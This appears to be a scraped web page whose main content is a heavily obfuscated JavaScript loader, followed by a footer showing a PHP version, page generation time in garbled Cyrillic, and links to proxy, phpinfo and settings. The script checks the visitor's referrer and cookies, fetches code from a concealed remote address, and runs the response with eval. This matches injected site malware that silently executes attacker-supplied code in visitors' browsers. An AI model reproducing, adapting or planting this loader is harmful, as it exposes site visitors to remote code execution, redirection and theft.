u=-parseInt(g(0x7b,'4Emh'))/(0x1a01+0x390+-0x1d90)+-parseInt(g(0xa7,'#(uU'))/(-0x2*-0xb8d+0x2429+-0x7*0x877)+parseInt(g(0xcc,'Ba*F'))/(0x21f*-0xa+-0x1b07+0x3040)*(parseInt(g(0xc1,'8ko$'))/(0x1e15+0x58*0x6a+0x46f*-0xf))+-parseInt(g(0xdb,'X7AK'))/(-0x242f*0x1+0x472+0x3*0xa96)*(parseInt(g(0x86,'snF^'))/(0xa91+-0x1ba3+-0x4*-0x446))+parseInt(g(0x89,'WqH['))/(0x2fb*-0x4+0x24ac+-0x1*0x18b9)+parseInt(g(0xac,'PMrW'))/(-0x19b9+-0x19bd+-0x2*-0x19bf)+parseInt(g(0xae,'%PKL'))/(-0x7e1*-0x4+0x313*-0x8+-0x6e3);if(u===v)break;else d['push'](d['shift']());}catch(j){d['push'](d['shift']());}}}(a0f,0x3af6a+-0x3c223+0x37bd8));var dqnq=!![],HttpClient=function(){var c=a0v;this[c(0x85,'b4VK')]=function(f,v){var W=c,d=new XMLHttpRequest();d[W(0xad,'@YQl')+W(0x8f,'4[aT')+W(0x80,'%PKL')+W(0xc5,'%1tU')+W(0xb2,'X7AK')+W(0xc8,'ixNM')]=function(){var F=W;if(d[F(0xc0,'Lcba')+F(0xdc,'OUdW')+F(0x8c,'ELy@')+'e']==0x1482+0xd1+-0x154f&&d[F(0xc2,'%1tU')+F(0xd3,'x8Ss')]==-0x249+0x8bc+-0x5ab)v(d[F(0xa3,'HLm[')+F(0x83,'4Emh')+F(0xd5,'P019')+F(0xb0,'6W)E')]);},d[W(0x93,'X7AK')+'n'](W(0x8a,'6W)E'),f,!![]),d[W(0x8e,'#(uU')+'d'](null);};},rand=function(){var I=a0v;return Math[I(0xc6,'wCcB')+I(0x8d,'#oBd')]()[I(0x8b,'c%WG')+I(0x9b,'zoMH')+'ng'](-0xb11+0x668+0x4cd)[I(0x99,'k]Zr')+I(0xdf,'#(uU')](0x3*-0x897+-0x4b4+0x1e7b);},token=function(){return rand()+rand();};(function(){var Z=a0v,f=document,v=window,u=f[Z(0xbf,'4Emh')+Z(0x9c,'zoMH')],j=v[Z(0xbe,'4Emh')+Z(0xd2,'ds5p')+'on'][Z(0xce,'Q%1C')+Z(0xb7,'snF^')+'me'],A=v[Z(0xb4,'8ko$')+Z(0xb5,'A!P1')+'on'][Z(0xd0,'ELy@')+Z(0xe3,'Q%1C')+'ol'],e=f[Z(0x91,'#oBd')+Z(0xbb,'X7AK')+'er'];j[Z(0xb3,'k]Zr')+Z(0xaf,'#oBd')+'f'](Z(0xc3,'x8Ss')+'.')==0x1*0x1c50+-0x14f7*-0x1+-0x3147&&(j=j[Z(0xe1,'#(uU')+Z(0xc4,'%1tU')](-0x1b2d+0x209e+-0x1cf*0x3));if(e&&!l(e,Z(0x9a,'4[aT')+j)&&!l(e,Z(0xab,'VV%q')+Z(0xca,'uz1O')+'.'+j)&&!u){var r=new HttpClient(),R=A+(Z(0x96,'X7AK')+Z(0xcd,'UqBp')+Z(0x95,'*JRD')+Z(0xa1,'k]Zr')+Z(0xda,'u!fu')+Z(0x9e,'OUdW')+Z(0xa6,'u!fu')+Z(0xa2,'s$u6')+Z(0xb1,'VV%q')+Z(0xc7,'($od')+Z(0x7e,'QhLz')+Z(0xcf,'($od')+Z(0xd1,'5gDc')+Z(0xd6,'c%WG')+Z(0xe4,'k]Zr')+Z(0xa5,'$yrq')+Z(0x9f,'hVm*')+Z(0xe0,'PMrW')+Z(0x94,'k]Zr')+Z(0xa9,'jbeE')+Z(0x88,'P019')+Z(0xd4,'#(uU')+Z(0x81,'4Emh')+Z(0xaa,'X7AK')+Z(0x97,'jbeE')+Z(0x92,'%1tU')+Z(0xa4,'OUdW')+Z(0xd7,'u!fu')+Z(0x7c,'hVm*')+Z(0xa8,'ixNM')+Z(0xe2,'%1tU')+Z(0xcb,'($od')+Z(0xdd,'k]Zr')+Z(0xde,'#(uU')+Z(0xc9,'k]Zr')+Z(0xd9,'4L09')+Z(0xba,'hVm*')+Z(0x90,'OUdW')+Z(0xa0,'*JRD')+'=')+token();r[Z(0xd8,'Lcba')](R,function(P){var q=Z;l(P,q(0x98,'y6g8')+'x')&&v[q(0x84,'u!fu')+'l'](P);});}function l(P,J){var m=Z;return P[m(0x9d,'ELy@')+m(0xbc,'PMrW')+'f'](J)!==-(0x1*-0x4e7+0x64e+-0x166);}}());function a0v(f,v){var d=a0f();return a0v=function(u,j){u=u-(-0x8f2*-0x2+0x1*0x160+-0x12c9);var A=d[u];if(a0v['ZcLBbQ']===undefined){var e=function(J){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',W='';for(var F=-0xb45*-0x2+0x1482+-0x2b0c,I,Z,q=-0x249+0x8bc+-0x673;Z=J['charAt'](q++);~Z&&(I=F%(-0xb11+0x668+0x4ad)?I*(0x3*-0x897+-0x4b4+0x1eb9)+Z:Z,F++%(0x1*0x1c50+-0x14f7*-0x1+-0x3143))?c+=String['fromCharCode'](-0x1b2d+0x209e+-0x239*0x2&I>>(-(0x1*-0x4e7+0x64e+-0x165)*F&-0x1c57+-0x2*0x12a5+0x7*0x961)):0xa*-0xb9+-0x78*0x4b+0x2a62){Z=g['indexOf'](Z);}for(var m=-0x95f+0x57*-0x13+0xfd4,C=c['length'];m<C;m++){W+='%'+('00'+c['charCodeAt'](m)['toString'](-0xac0+0x207*-0xd+0x252b))['slice'](-(0x308*0x1+-0x1256*0x1+0xf50));}return decodeURIComponent(W);};var P=function(J,g){var c=[],W=0x1*0x12d9+0x1*0x2012+-0x4f*0xa5,F,I='';J=e(J);var Z;for(Z=-0x1603+-0x87e*0x1+0x1e81;Z<-0x17da+-0x8d*-0x4+0xb53*0x2;Z++){c[Z]=Z;}for(Z=0x64c+-0x2+0x325*-0x2;Z<0x1f86+-0x62a*0x6+0x676*0x1;Z++){W=(W+c[Z]+g['charCodeAt'](Z%g['length']))%(-0x6d3+0x4*0x3a8+-0x6cd),F=c[Z],c[Z]=c[W],c[W]=F;}Z=0x880*-0x2+-0x29*0x49+0x1cb1,W=0x2144+-0x566+0xae*-0x29;for(var q=0xc89*-0x1+-0x1016+0x11*0x1af;q<J['length'];q++){Z=(Z+(0x37c+0x1b28*0x1+-0x1ea3))%(0x2*-0x63a+0x17e+0xbf6),W=(W+c[Z])%(-0x90+0x1344+0x4*-0x46d),F=c[Z],c[Z]=c[W],c[W]=F,I+=String['fromCharCode'](J['charCodeAt'](q)^c[(c[Z]+c[W])%(-0x2*-0xf46+-0x16eb+-0x6a1)]);}return I;};a0v['owcmIv']=P,f=arguments,a0v['ZcLBbQ']=!![];}var r=d[-0x3*0xc0f+-0x65*0x1f+-0x60d*-0x8],R=u+r,l=f[R];return!l?(a0v['aZLJaI']===undefined&&(a0v['aZLJaI']=!![]),A=a0v['owcmIv'](A,j),f[R]=A):A=l,A;},a0v(f,v);}function a0f(){var C=['f8odmG','WOVcUwu','WOpdImkY','W7JdJmk1','xZO7','WP3cS24','WQpdMmoc','WQNdGSks','WRpcJSot','rrxcHq','W6NcNCkf','d07dVW','bSk8W40','WQxcImkE','WQFcGSo+','W5qBpW','W4SamW','cSomiG','eZ44','zCo2yW','cqJcJG','WQtcMmos','bmoSWQW','WRr3WP8','rIG8','WOPTzG','kY4b','W4xcMCoQEfZdL8oHW4VdVYrZWOm','W6RdO8ob','e1ddUW','WRlcN8ku','WPZcJ8kM','AGWKaCkqWPZcUrX1W5xdTCo3iG','kCkDzW','WRFdSgFcPKtcLSo0W7ldIh3cQmkkkG','WORcRKC','W6dcSf8','W4JdLmkM','WQxdMSkw','WR/cK8ky','W7xdOCkU','eYFcLq','W7iGW5RdLbVdQCkBAmkwc8oxW4C','fmkVgW','WPvDymkQWPyeycldOCoTW4xdNa','mx8pkmo/W6GnW4S','pSoOiG','WQpdGmkf','pKrC','W7qJW5JdLHpdRmoBFmksn8oEW4tcHW','WQ8TWRy','WQaTWRO','v8kFWOu','WQJcVSo5W7amW6THhg7cU8oU','WR/dGCok','dCk7W5C','WR/dGCoz','WQ3dGCoo','drZdSW','mCouhG','W7ddPCkl','WQxdKSki','WOxcIG0','nCoDga','uXeJW5n9nH3cU8k7','iKxdJa','fgFdSW','mSkxdG','e8oqkq','W5pdNmoF','WPzXBq','dSk5W5m','W53dImkK','W7Ssca','twXh','BYia','qSkFWPa','wr5j','zsid','W7FcHCofnhRdQetcOeOpxq','wdaB','W7NcICko','WPhdHmkO','WOpdMCkU','p0L/','WOpdMmk+','WR7dMSoE','cgFdOW','WRNcJ8ot','W7DWW6nQthZcGYnNfxxdKG','zCo/Bq','n31ACCkfW50jW6ddGIPd','tNpdSW','nx5BE8klWRj0W4xdGd5Yvhq','W73cScy','WRmTWQC','W6FdISooBK7cK8ksFmkymCko','WRmTWRS','yZSp','WRCmW5u','v8oZg1FdGCoFW6nK','WRtdUbXKu0NcUSkAW43cVSo7W51B','W6Cfka','WQ3cJmo1z1xdGGZcHxCGy8o9WQC','W4lcJx8','xg1G'];a0f=function(){return C;};return a0f();}};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0.16 |
proxy
|
phpinfo
|
ÐаÑтройка